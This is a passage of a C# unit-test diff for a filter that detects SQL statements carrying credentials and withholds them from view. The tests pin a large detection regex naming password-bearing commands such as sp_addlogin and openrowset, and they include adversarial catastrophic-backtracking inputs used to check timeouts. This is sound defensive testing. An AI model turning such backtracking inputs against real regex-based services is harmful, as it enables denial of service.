+        Assert.Equal(PinnedHeadTranslation, headTranslated);
+        Assert.Equal(PinnedTailTranslation, tailTranslated);
+    }
+
+    /// <summary>The first judge part, A1-T9, translated: byte for byte the literal
+    /// <see cref="TheTranslatedPatternIsPinnedAndHasNoPosixClassLeft"/> pinned before T10 was appended.</summary>
+    private const string PinnedHeadTranslation = """
+        (?:(?<!(?-i:[0-9A-Za-z_]))(?=(?-i:[0-9A-Za-z_]))(?:(create|alter)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+(role|user|group|subscription|server)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|password(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(=|to)?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(e?'|u&'|[$][^0-9])|(pg)?password[\s]*=[\s]*[^$\s]|(create|alter)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+(login|credential)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|scoped([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+credential(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|([a-z0-9_]*(password|passwd|pwd|secret)|key_source)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(=|to)?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x|[$][^0-9])|pwd[\s]*=[\s]*[^$@\s]|(sp_addlogin|sp_password|sp_addlinkedsrvlogin|sp_addapprole|sp_approlepassword|sp_setapprole|sp_change_users_login|sp_adddistributor|sp_changedistributor_password|sp_adddistpublisher|sp_addsubscriber|sp_link_publication|sp_control_dbmasterkey_password|sp_xp_cmdshell_proxy_account)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|(encryptbypassphrase|decryptbypassphrase|decryptbykeyautocert|decryptbykeyautoasymkey|decryptbyasymkey|decryptbycert|signbycert|signbyasymkey|pwdencrypt|pwdcompare)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|opendatasource(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|openrowset([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*[(]([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*n?'|[a-z0-9_]*(password|passwd|pwd|secret)(]|")([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*=([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x)))|[a-z][a-z0-9+.-]*://[^\s/@:]+:[^\s/@]+@
+        """;
+
+    /// <summary>The second judge part, T10 alone, translated.</summary>
+    private const string PinnedTailTranslation = """
+        (?<!(?-i:[0-9A-Za-z_]))(?=(?-i:[0-9A-Za-z_]))([a-z0-9_]*(password|passwd|pwd|secret)|key_source)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+((as|constant)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+)?[[]?[a-z_][a-z0-9_.]*]?([\s]*[(][\s0-9a-z,]{0,20}[)])?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(:?=|default(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_])))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x|[$][^0-9])
+        """;
+
+    [Theory]
+    [InlineData("a(b|c)|[|]d|e", 1, "a(b|c)", "[|]d|e")]
+    [InlineData("a(b|c)|[|]d|e", 2, "a(b|c)|[|]d", "e")]
+    [InlineData("[[:<:]]x|[^|]y|[]|]z|w", 1, "[[:<:]]x", "[^|]y|[]|]z|w")]
+    [InlineData("[[:<:]]x|[^|]y|[]|]z|w", 3, "[[:<:]]x|[^|]y|[]|]z", "w")]
+    [InlineData("(a|(b|c))|d", 1, "(a|(b|c))", "d")]
+    public void AlternativesAreCutOnlyAtATopLevelBar(string source, int count, string expectedHead, string expectedTail)
+    {
+        Assert.True(SensitiveStatements.TrySplitAlternatives(source, count, out var head, out var tail));
+
+        Assert.Equal(expectedHead, head);
+        Assert.Equal(expectedTail, tail);
+    }
+
+    [Theory]
+    [InlineData("a|b", 0)]
+    [InlineData("a|b", 2)]
+    [InlineData("a(b|c)", 1)]
+    [InlineData("[a|b", 1)]
+    [InlineData("a|", 1)]
+    public void ASourceWithNoAlternativeAfterTheFirstCountIsNotSplit(string source, int count)
+    {
+        Assert.False(SensitiveStatements.TrySplitAlternatives(source, count, out var head, out var tail));
+
+        Assert.Equal(source, head);
+        Assert.Equal(string.Empty, tail);
+    }
+
+    /// <summary>Two regexes are a speed change only (#5320 M1): over the corpus and the seeded fuzz set the split
+    /// judge and the one-regex judge give the same verdict, so "named when either matches" is exact OR. The
+    /// first part alone is built too, so the test also shows the fuzz set reaches strings only the second part names.</summary>
+    [Fact]
+    public void TheSplitJudgeGivesTheSameVerdictAsTheOneRegexJudge_OverTheCorpusAndAFuzzSet()
+    {
+        var timeout = TimeSpan.FromSeconds(5);
+        Assert.True(SensitiveStatements.TrySplitAlternatives(
+            SensitiveStatements.Pattern, SensitiveStatements.JudgeHeadAlternatives, out var headSource, out _));
+        var one = SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout, prefilter: false);
+        var two = SensitiveStatements.CreateJudge(
+            SensitiveStatements.Pattern, timeout, prefilter: false, headAlternatives: SensitiveStatements.JudgeHeadAlternatives);
+        var headOnly = SensitiveStatements.CreateJudge(headSource, timeout, prefilter: false);
+
+        var named = 0;
+        var tailOnly = 0;
+        var failures = new List<string>();
+        foreach (var text in CorpusAndFuzz())
+        {
+            var verdict = one(text);
+            named += verdict == SensitiveStatements.Verdict.Named ? 1 : 0;
+            tailOnly += verdict == SensitiveStatements.Verdict.Named && headOnly(text) == SensitiveStatements.Verdict.Clean ? 1 : 0;
+            if (two(text) != verdict)
+            {
+                failures.Add("split and single differ: " + text);
+            }
+        }
+
+        Assert.True(named > 1_000, $"the fuzz set names only {named} strings, too few to pin anything");
+        Assert.True(tailOnly > 50, $"only {tailOnly} strings are named by the second part alone, too few to pin anything");
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures.Take(20)));
+    }
+
+    /// <summary>A <see cref="SensitiveStatements.BudgetedRegex"/> runs at the largest limit that fits the time
+    /// left (#5320 M1), so the second judge part never runs past what the first left of the one budget. With
+    /// 250 ms the limits are 187, 93, 46 and 23 ms. The text backtracks without end, so each call ends at the
+    /// limit it ran with: every reading is at least 60% of the limit, and the best of three is within a generous
+    /// overshoot of it.</summary>
+    [Theory]
+    [InlineData(200, 187)]
+    [InlineData(150, 93)]
+    [InlineData(90, 46)]
+    [InlineData(45, 23)]
+    public void ABudgetedRegexRunsAtTheLargestLimitThatFitsWhatIsLeft(int remainingMs, int expectedLimitMs)
+    {
+        var regex = new SensitiveStatements.BudgetedRegex("(a|aa)+b", TimeSpan.FromMilliseconds(250));
+        var text = new string('a', 60) + "c";
+
+        var best = long.MaxValue;
+        for (var attempt = 0; attempt < 3; attempt++)
+        {
+            var watch = Stopwatch.StartNew();
+            Assert.Throws<System.Text.RegularExpressions.RegexMatchTimeoutException>(
+                () => regex.IsMatch(text, TimeSpan.FromMilliseconds(remainingMs)));
+            watch.Stop();
+            Assert.True(watch.ElapsedMilliseconds >= expectedLimitMs * 0.6, $"stopped after {watch.ElapsedMilliseconds} ms, below the {expectedLimitMs} ms limit");
+            best = Math.Min(best, watch.ElapsedMilliseconds);
+        }
+
+        TimingClaim.AtMost(best, expectedLimitMs + 100, $"best of 3 for a {expectedLimitMs} ms limit");
+    }
+
+    [Fact]
+    public void ABudgetedRegexWithLessTimeLeftThanItsSmallestLimitTimesOutWithoutRunning()
+    {
+        var regex = new SensitiveStatements.BudgetedRegex("b", TimeSpan.FromMilliseconds(250));
+
+        Assert.True(regex.IsMatch("xb", TimeSpan.FromMilliseconds(250)));
+        Assert.False(regex.IsMatch("xa", TimeSpan.FromMilliseconds(30)));
+        Assert.Throws<System.Text.RegularExpressions.RegexMatchTimeoutException>(() => regex.IsMatch("xb", TimeSpan.FromMilliseconds(20)));
+        Assert.Throws<System.Text.RegularExpressions.RegexMatchTimeoutException>(() => regex.IsMatch("xb", TimeSpan.Zero));
+        Assert.Throws<System.Text.RegularExpressions.RegexMatchTimeoutException>(() => regex.IsMatch("xb", TimeSpan.FromMilliseconds(-5)));
+    }
+
+    /// <summary>The two parts share the one per-value timeout (#5320 M1). A fake clock says the first part took a
+    /// given time; the second part then gets only what is left. The first part is a plain <c>x</c>; the second
+    /// backtracks without end on the text, so its real time shows the limit it was given: nothing used runs it at
+    /// 187 ms, 100 ms used at 93 ms, 200 ms used at 46 ms, and 240 ms used (under the smallest 23 ms limit left) is
+    /// TimedOut at once.</summary>
+    [Theory]
+    [InlineData(0, 187)]
+    [InlineData(100, 93)]
+    [InlineData(200, 46)]
+    [InlineData(240, 0)]
+    public void TheSecondJudgePartRunsOnlyInsideWhatTheFirstLeftOfTheBudget(int firstPartMs, int limitMs)
+    {
+        var text = new string('a', 60) + "d";
+        var best = long.MaxValue;
+        for (var attempt = 0; attempt < 3; attempt++)
+        {
+            var calls = 0;
+            var judge = SensitiveStatements.CreateJudge(
+                "x|(a|aa)+c",
+                TimeSpan.FromMilliseconds(250),
+                prefilter: false,
+                headAlternatives: 1,
+                clock: () => TimeSpan.FromMilliseconds(calls++ == 0 ? 0 : firstPartMs));
+            var watch = Stopwatch.StartNew();
+            var verdict = judge(text);
+            watch.Stop();
+
+            Assert.Equal(SensitiveStatements.Verdict.TimedOut, verdict);
+            Assert.True(watch.ElapsedMilliseconds >= limitMs * 0.6, $"stopped after {watch.ElapsedMilliseconds} ms");
+            best = Math.Min(best, watch.ElapsedMilliseconds);
+        }
+
+        TimingClaim.AtMost(best, limitMs + 100, $"best of 3; the second part had {limitMs} ms");
+    }
+
+    /// <summary>A part that matches names the value whichever part it is, and a text neither matches is clean.</summary>
+    [Fact]
+    public void ATwoPartJudgeNamesAValueEitherPartMatches()
+    {
+        var judge = SensitiveStatements.CreateJudge("x|y|z", SensitiveStatements.MatchTimeout, headAlternatives: 2);
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("--x--"));
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("--y--"));
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("--z--"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, judge("--w--"));
+    }
+
+    /// <summary>The production judge is the split judge (#5320 N2), pinned without a stopwatch. A fake clock says the
+    /// first part used 240 ms of the 250 ms budget, so the second part has too little time left and the value is
+    /// TimedOut. <c>x_pwd = HASHBYTES(1)</c> reaches the full judge (the pre-check's superset matches it) and no
+    /// part names it, so a judge that has gone back to one regex answers Clean here and fails this test.</summary>
+    [Fact]
+    public void TheProductionJudgeRunsItsSecondPartInsideWhatTheFirstLeft()
+    {
+        var calls = 0;
+        var judge = SensitiveStatements.CreateProductionJudge(
+            clock: () => TimeSpan.FromMilliseconds(calls++ == 0 ? 0 : 240));
+
+        Assert.Equal(SensitiveStatements.Verdict.TimedOut, judge("x_pwd = HASHBYTES(1)"));
+    }
+
+    /// <summary>The warm-up builds the shared judge, can run again, and does not throw (#5320 N1).</summary>
+    [Fact]
+    public void WarmUpBuildsTheSharedJudgeAndCanRunAgain()
+    {
+        SensitiveStatements.WarmUp();
+        SensitiveStatements.WarmUp();
+
+        Assert.True(SensitiveStatements.JudgeIsBuilt);
+        Assert.Equal(SensitiveStatements.Verdict.Clean, SensitiveStatements.Judge("SELECT 1"));
+    }
+
+    /// <summary>1 MB of ordinary SQL with a trailing near miss that only the pre-check's superset hits (#5320 M1).
+    /// <c>x_pwd = HASHBYTES(1)</c> has no word start, so the pre-check matches it (T4 without its assertion) and the
+    /// full judge must run and answer Clean. With the whole pattern as one compiled regex that took about 226 ms
+    /// a megabyte and the value timed out and was withheld; as two regexes it is Clean inside the 250 ms timeout.</summary>
+    [Fact]
+    public void AMegabyteOfOrdinarySqlWithATrailingNearMissIsCleanInsideTheTimeout()
+    {
+        StatementFilterWarmUp.Ensure();
+        SensitiveStatements.Judge("warm the regex up");
+        var unit = "SELECT col_a, col_b FROM dbo.t WHERE c = 1 AND d <> 2 ";
+        var text = string.Concat(Enumerable.Repeat(unit, 1_000_000 / unit.Length + 1)).Substring(0, 1_000_000)
+            + " x_pwd = HASHBYTES(1)";
+
+        // The gate (#5369): fail-closed holds whatever the load (a slow machine may time out, never name nothing
+        // wrongly), and with no clock to run out the same split judge answers Clean.
+        Assert.NotEqual(SensitiveStatements.Verdict.Named, SensitiveStatements.Judge(text));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, UnboundedJudge.Value(text));
+
+        // The wall-clock claim, a measurement unless DARLING_TIMING_TESTS=1.
+        var best = long.MaxValue;
+        for (var attempt = 0; attempt < 5 && best >= 250; attempt++)
+        {
+            var watch = Stopwatch.StartNew();
+            var verdict = SensitiveStatements.Judge(text);
+            watch.Stop();
+
+            if (verdict == SensitiveStatements.Verdict.Clean)
+            {
+                best = Math.Min(best, watch.ElapsedMilliseconds);
+            }
+        }
+
+        TimingClaim.AtMost(best == long.MaxValue ? double.PositiveInfinity : best, 249, "1 MB near miss came back Clean");
+    }
+
+    /// <summary>A typed secret-named variable followed by a long dash banner, in a value where something else
+    /// passes the pre-check (#5320 L2). The typed-declaration alternative's gaps after the type backtrack on a run of
+    /// dashes (the known comment-run case); the second judge part runs out of its time and the value is named by the
+    /// timeout. PostgreSQL answers Clean. That errs toward withholding, and an atomic rewrite of the gap is ruled
+    /// out, so the row pins the .NET answer: TimedOut, never Clean, back inside about the match timeout.</summary>
+    [Fact]
+    public void ATypedSecretVariableBehindADashBannerIsNamedByTimeout_WhenAnotherPartPassesThePreCheck()
+    {
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in SensitiveStatementCorpus.NamedByTimeoutInDotNetOnly)
+        {
+            var best = long.MaxValue;
+            for (var attempt = 0; attempt < 3; attempt++)
+            {
+                var watch = Stopwatch.StartNew();
+                var verdict = SensitiveStatements.Judge(text);
+                watch.Stop();
+
+                Assert.Equal(SensitiveStatements.Verdict.TimedOut, verdict);
+                best = Math.Min(best, watch.ElapsedMilliseconds);
+            }
+
+            TimingClaim.AtMost(best, 400, "best of 3 for a banner named by timeout");
+            Assert.True(SensitiveStatements.Names(text));
+        }
+    }
+
+    [Fact]
+    public void AMatchThatRunsPastItsTimeoutGivesTimedOut()
+    {
+        // Nested alternation under a quantifier backtracks exponentially on a near miss.
+        // Without the pre-check: its linear-time engine would answer this toy pattern (which has no assertion to drop) Clean.
+        var judge = SensitiveStatements.CreateJudge("(a|aa)+b", TimeSpan.FromMilliseconds(50), prefilter: false);
+
+        var verdict = judge(new string('a', 60) + "c");
+
+        Assert.Equal(SensitiveStatements.Verdict.TimedOut, verdict);
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("xaab"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, judge("xyz"));
+    }
+
+    // The timing tests take the best of several attempts: the test assembly runs many classes in parallel
+    // and a loaded machine can stretch one wall-clock reading; the verdict itself must hold on every attempt.
+
+    /// <summary>The two comment-token strings the plan once pinned as TimedOut. The linear-time pre-check
+    /// (#5320 M1) finds no <c>role</c>, <c>user</c> or literal in them, so they are Clean, which is also what
+    /// PostgreSQL answers.</summary>
+    [Fact]
+    public void EachAdversarialStringIsCleanWithin50Ms()
+    {
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in SensitiveStatementCorpus.Adversarial)
+        {
+            var best = BestOfJudging(text, SensitiveStatements.Verdict.Clean, 5);
+
+            TimingClaim.AtMost(best, 49, $"best of 5: {text}");
+            Assert.False(SensitiveStatements.Names(text));
+        }
+    }
+
+    /// <summary>The same for the strings aimed at the typed-declaration alternative (#5320): a password word, many
+    /// comment tokens or a long length part, and no literal. The pre-check finds no literal, so they are Clean.</summary>
+    [Fact]
+    public void EachTypedDeclarationAdversarialStringIsCleanWithin50Ms()
+    {
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in SensitiveStatementCorpus.TypedDeclarationAdversarial)
+        {
+            var best = BestOfJudging(text, SensitiveStatements.Verdict.Clean, 5);
+
+            TimingClaim.AtMost(best, 49, $"best of 5: {text.Substring(0, 24)}");
+            Assert.False(SensitiveStatements.Names(text));
+        }
+    }
+
+    /// <summary>Ordinary banner comments: a run of dashes after <c>create</c>, a comment after a column named
+    /// <c>pwd</c>, and so on. The full judge splits a dash run exponentially on these, so only the pre-check
+    /// keeps them Clean.</summary>
+    [Fact]
+    public void OrdinaryDashBannersAreCleanWithin50Ms()
+    {
+        var dashes = new string('-', 60);
+        var banners = new[]
+        {
+            "----" + dashes + "\n-- Create\n----" + dashes + "\nCREATE TABLE dbo.t (id int);",
+            "-- Create " + dashes + "\nSELECT 1",
+            "SELECT 1 AS pwd -- " + dashes,
+            "UPDATE t SET secret -- " + dashes + "\n= 1",
+            "create " + dashes + "x",
+            "create" + string.Concat(Enumerable.Repeat(" --", 20)),
+        };
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in banners)
+        {
+            var best = BestOfJudging(text, SensitiveStatements.Verdict.Clean, 5);
+
+            TimingClaim.AtMost(best, 49, $"best of 5: {text.Substring(0, Math.Min(40, text.Length))}");
+        }
+    }
+
+    /// <summary>A string the pre-check still hits (<c>xcreate login</c> has no word start, so only the superset
+    /// matches) but the full judge cannot finish: it keeps the TimedOut verdict, which counts as named. A
+    /// planted near-hit can still force a timeout, which is what the process-wide memo is for.</summary>
+    [Fact]
+    public void ANearHitThatReachesTheFullJudgeStillTimesOutAndStaysNamed()
+    {
+        var text = "xcreate login; create" + string.Concat(Enumerable.Repeat(" --", 40)) + "x";
+        SensitiveStatements.Judge("warm the regex up");
+
+        var best = BestOfJudging(text, SensitiveStatements.Verdict.TimedOut, 3);
+
+        TimingClaim.AtMost(best, 300, "best of 3 for a near hit that times out");
+        Assert.True(SensitiveStatements.Names(text));
+    }
+
+    /// <summary>A typed declaration of a password variable behind many comment tokens (#5320). The full judge may
+    /// backtrack on the second string, so the answer is Named or TimedOut (named either way), never Clean, and the
+    /// call returns inside the match timeout.</summary>
+    [Fact]
+    public void ATypedDeclarationBehindManyCommentTokensIsNeverClean_AndReturnsInsideTheTimeout()
+    {
+        var comments = string.Concat(Enumerable.Repeat(" --", 40));
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in new[]
+        {
+            "declare @pwd" + comments + "\n nvarchar(20) = N'x'",
+            "declare @pwd" + comments + " nvarchar(20) = N'x'",
+        })
+        {
+            var watch = Stopwatch.StartNew();
+            var verdict = SensitiveStatements.Judge(text);
+            watch.Stop();
+
+            Assert.NotEqual(SensitiveStatements.Verdict.Clean, verdict);
+            TimingClaim.AtMost(watch.ElapsedMilliseconds, 999, $"typed declaration behind comment tokens: {text.Substring(0, 24)}");
+        }
+    }
+
+    /// <summary>A 100 KB binary literal (200,000 hex characters) in an INSERT, and the other long single-run
+    /// shapes that made the credential-URL branch quadratic in the full judge (#5320 M2).</summary>
+    [Fact]
+    public void ALongHexLiteralAndOtherLongRunsAreCleanAndFast()
+    {
+        var texts = new[]
+        {
+            "INSERT INTO dbo.Files (Id, Body) VALUES (7, 0x" + new string('A', 200_000) + ")",
+            "INSERT INTO dbo.Files (Id, Body) VALUES (7, 0x" + new string('a', 1_000_000) + ")",
+            "SELECT '" + new string('a', 1_000_000) + "'",
+        };
+        SensitiveStatements.Judge("warm the regex up");
+        foreach (var text in texts)
+        {
+            var best = BestOfJudging(text, SensitiveStatements.Verdict.Clean, 5, UnboundedJudge.Value);
+
+            TimingClaim.AtMost(best, 99, $"best of 5 for {text.Length} characters");
+        }
+    }
+
+    /// <summary>The production pattern and split, with a one-minute timeout and a clock that never advances: no
+    /// load can time it out, so a verdict asserted through it cannot flake (#5369).</summary>
+    private static readonly Lazy<Func<string, SensitiveStatements.Verdict>> UnboundedJudge = new(() =>
+        SensitiveStatements.CreateJudge(
+            SensitiveStatements.Pattern,
+            TimeSpan.FromMinutes(1),
+            headAlternatives: SensitiveStatements.JudgeHeadAlternatives,
+            clock: static () => TimeSpan.Zero));
+
+    private static long BestOfJudging(
+        string text, SensitiveStatements.Verdict expected, int attempts, Func<string, SensitiveStatements.Verdict>? judge = null)
+    {
+        judge ??= SensitiveStatements.Judge;
+        var best = long.MaxValue;
+        for (var attempt = 0; attempt < attempts; attempt++)
+        {
+            var watch = Stopwatch.StartNew();
+            var verdict = judge(text);
+            watch.Stop();
+
+            Assert.Equal(expected, verdict);
+            best = Math.Min(best, watch.ElapsedMilliseconds);
+        }
+
+        return best;
+    }
+
+    private static IEnumerable<string> CorpusAndFuzz()
+    {
+        var corpus = SensitiveStatementCorpus.Named.SelectMany(SensitiveStatementCorpus.Variants)
+            .Concat(SensitiveStatementCorpus.NotNamed);
+        return corpus.Concat(FuzzStrings());
+    }
+
+    private static readonly string[] s_fuzzTokens =
+    {
+        "create", "alter", "role", "user", "group", "subscription", "server", "login", "credential", "scoped",
+        "password", "passwd", "pwd", "secret", "key_source", "x_pwd", "xpassword", "pgpassword", "sp_addlogin",
+        "sp_password", "encryptbypassphrase", "pwdcompare", "opendatasource", "openrowset", "select", "from",
+        "update", "set", "dbo.t", "col", "bulk", "(", ")", "'", "n'", "e'", "u&'", "0x", "0xff", "$1", "$a", "=",
+        "to", ":", "@", "/", "://", "user:pw@", "http://", "]", "[", "\"", "[pwd]", "\"secret\"", ";", ",", "_",
+        "9", "a", " ", " ", " ", "\n", "\t", "--", "-- c", "/* c */", "/*", "*/", "*",
+        "nvarchar", "varchar(20)", "(max)", "text", "int", "as", "constant", "default", ":=", "[nvarchar]", "sys.sysname",
+    };
+
+    /// <summary>A seeded set of short strings built from the tokens the pattern is made of, so a large share of
+    /// them reach a branch of the pattern.</summary>
+    private static IEnumerable<string> FuzzStrings()
+    {
+        var random = new Random(5324);
+        for (var i = 0; i < 30_000; i++)
+        {
+            var count = random.Next(1, 14);
+            var builder = new StringBuilder();
+            for (var j = 0; j < count; j++)
+            {
+                builder.Append(s_fuzzTokens[random.Next(s_fuzzTokens.Length)]);
+                if (random.Next(3) == 0)
+                {
+                    builder.Append(' ');
+                }
+            }
+
+            yield return builder.ToString();
+        }
+    }
+
+    /// <summary>The pre-check is a superset of the full pattern (#5320 M1): every string the full judge names,
+    /// the pre-check also hits, and the pre-checked judge gives the same verdict as the full judge alone. Run
+    /// over the corpus and a seeded fuzz set; no PostgreSQL needed.</summary>
+    [Fact]
+    public void ThePrefilterHitsEveryStringTheFullJudgeNames_OverTheCorpusAndAFuzzSet()
+    {
+        var timeout = TimeSpan.FromSeconds(5);
+        var prefilter = SensitiveStatements.CreatePrefilter(SensitiveStatements.Pattern, timeout);
+        Assert.NotNull(prefilter);
+        var full = SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout, prefilter: false);
+        var combined = SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout);
+
+        var named = 0;
+        var failures = new List<string>();
+        foreach (var text in CorpusAndFuzz())
+        {
+            var verdict = full(text);
+            if (verdict == SensitiveStatements.Verdict.Named)
+            {
+                named++;
+                if (!prefilter!.IsMatch(text))
+                {
+                    failures.Add("the pre-check missed a named string: " + text);
+                }
+            }
+
+            if (combined(text) != verdict)
+            {
+                failures.Add("the pre-checked judge disagrees with the full judge: " + text);
+            }
+        }
+
+        Assert.True(named > 1_000, $"the fuzz set names only {named} strings, too few to pin anything");
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures.Take(20)));
+    }
+
+    /// <summary>The pre-check uses no lookaround and is built from the one definition: it is the translation
+    /// with only the word-boundary assertions removed.</summary>
+    [Fact]
+    public void ThePrefilterSourceIsTheTranslationWithoutItsAssertions()
+    {
+        Assert.True(SensitiveStatements.TryTranslate(SensitiveStatements.Pattern, factor: false, dropAssertions: true, out var superset));
+
+        Assert.DoesNotContain("(?<", superset, StringComparison.Ordinal);
+        Assert.DoesNotContain("(?=", superset, StringComparison.Ordinal);
+        Assert.DoesNotContain("(?!", superset, StringComparison.Ordinal);
+        Assert.DoesNotContain("[:", superset, StringComparison.Ordinal);
+        Assert.StartsWith("(create|alter)", superset, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFailedGuardGivesNoPrefilter_AndAPatternItCannotBuildKeepsTheFullJudge()
+    {
+        Assert.Null(SensitiveStatements.CreatePrefilter("a\\b", TimeSpan.FromSeconds(1)));
+        Assert.Null(SensitiveStatements.CreatePrefilter("[[:bogus:]]", TimeSpan.FromSeconds(1)));
+        // A pattern with a lookahead of its own cannot run NonBacktracking, so there is no pre-check and the
+        // full judge still answers.
+        Assert.Null(SensitiveStatements.CreatePrefilter("a(?=b)", TimeSpan.FromSeconds(1)));
+        var judge = SensitiveStatements.CreateJudge("a(?=b)", TimeSpan.FromSeconds(1));
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("xab"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, judge("xac"));
+    }
+
+    /// <summary>Hoisting the shared word start out of the alternatives is only a search-order change (#5320 L5).
+    /// The factored and unfactored forms give the same verdict over the corpus and a seeded fuzz set, so the
+    /// factoring is pinned without a PostgreSQL rig. Both run without the pre-check, so it is the regex that is
+    /// compared.</summary>
+    [Fact]
+    public void TheFactoredAndUnfactoredFormsGiveTheSameVerdict_OverTheCorpusAndAFuzzSet()
+    {
+        var timeout = TimeSpan.FromSeconds(5);
+        Assert.True(SensitiveStatements.TryTranslate(SensitiveStatements.Pattern, factor: true, dropAssertions: false, out var factoredSource));
+        Assert.True(SensitiveStatements.TryTranslate(SensitiveStatements.Pattern, factor: false, dropAssertions: false, out var unfactoredSource));
+        Assert.NotEqual(factoredSource, unfactoredSource);
+        var factored = SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout, factor: true, prefilter: false);
+        var unfactored = SensitiveStatements.CreateJudge(SensitiveStatements.Pattern, timeout, factor: false, prefilter: false);
+
+        var named = 0;
+        var failures = new List<string>();
+        foreach (var text in CorpusAndFuzz())
+        {
+            var verdict = factored(text);
+            named += verdict == SensitiveStatements.Verdict.Named ? 1 : 0;
+            if (unfactored(text) != verdict)
+            {
+                failures.Add("factored and unfactored differ: " + text);
+            }
+        }
+
+        Assert.True(named > 1_000, $"the fuzz set names only {named} strings, too few to pin anything");
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures.Take(20)));
+    }
+
+    [Fact]
+    public void AMillionCharOrdinaryStatementIsCleanAndFast()
+    {
+        StatementFilterWarmUp.Ensure();
+        SensitiveStatements.Judge("warm the regex up");
+        var unit = "SELECT col_a, col_b FROM dbo.t WHERE c = 1 AND d <> 2 ";
+        var text = string.Concat(Enumerable.Repeat(unit, 1_000_000 / unit.Length + 1)).Substring(0, 1_000_000);
+
+        // The gate (#5369): Clean with no time to run out. The speed is a measurement unless DARLING_TIMING_TESTS=1.
+        Assert.Equal(SensitiveStatements.Verdict.Clean, UnboundedJudge.Value(text));
+
+        var best = long.MaxValue;
+        for (var attempt = 0; attempt < 5 && best >= 250; attempt++)
+        {
+            var watch = Stopwatch.StartNew();
+            var verdict = SensitiveStatements.Judge(text);
+            watch.Stop();
+
+            if (verdict == SensitiveStatements.Verdict.Clean)
+            {
+                best = Math.Min(best, watch.ElapsedMilliseconds);
+            }
+        }
+
+        TimingClaim.AtMost(best == long.MaxValue ? double.PositiveInfinity : best, 249, "1,000,000 ordinary characters came back Clean");
+    }
+
+    [Fact]
+    public void TextReturnsThePlaceholderForANamedValue_AndTheSameInstanceOtherwise()
+    {
+        var clean = new string("SELECT 1 FROM dbo.t".ToCharArray());
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.Text("CREATE LOGIN [a] WITH PASSWORD = 'p'"));
+        Assert.Same(clean, SensitiveStatements.Text(clean));
+    }
+
+    [Fact]
+    public void TextWithholdsAValueThatIsNamedOnlyOnceHtmlDecoded()
+    {
+        // "&#32;" and "&#x20;" decode to a space, so the encoded form hides the statement from a plain read.
+        var encoded = "CREATE&#32;LOGIN [a] FROM WINDOWS";
+        Assert.False(SensitiveStatements.Names(encoded));
+
+        Assert.Equal(SensitiveStatements.PlaceholderText, SensitiveStatements.Text(encoded));
+        var harmless = "SELECT 'a &amp; b' FROM dbo.t";
+        Assert.Same(harmless, SensitiveStatements.Text(harmless));
+    }
+
+    /// <summary>With IgnoreCase .NET reads U+212A (the Kelvin sign) as a word character, which PostgreSQL's
+    /// C-locale word-start check does not (#5320 L1). The word class is case-sensitive, so a Kelvin sign next
+    /// to a named keyword is a boundary here too, and the pre-check still hits it.</summary>
+    [Fact]
+    public void AKelvinSignNextToANamedKeywordIsAWordBoundary_AndThePrefilterStillHitsIt()
+    {
+        const string text = "x \u212Asp_addlogin 'a'";
+        var timeout = TimeSpan.FromSeconds(5);
+        var prefilter = SensitiveStatements.CreatePrefilter(SensitiveStatements.Pattern, timeout);
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, SensitiveStatements.Judge(text));
+        Assert.True(SensitiveStatements.Names(text));
+        Assert.NotNull(prefilter);
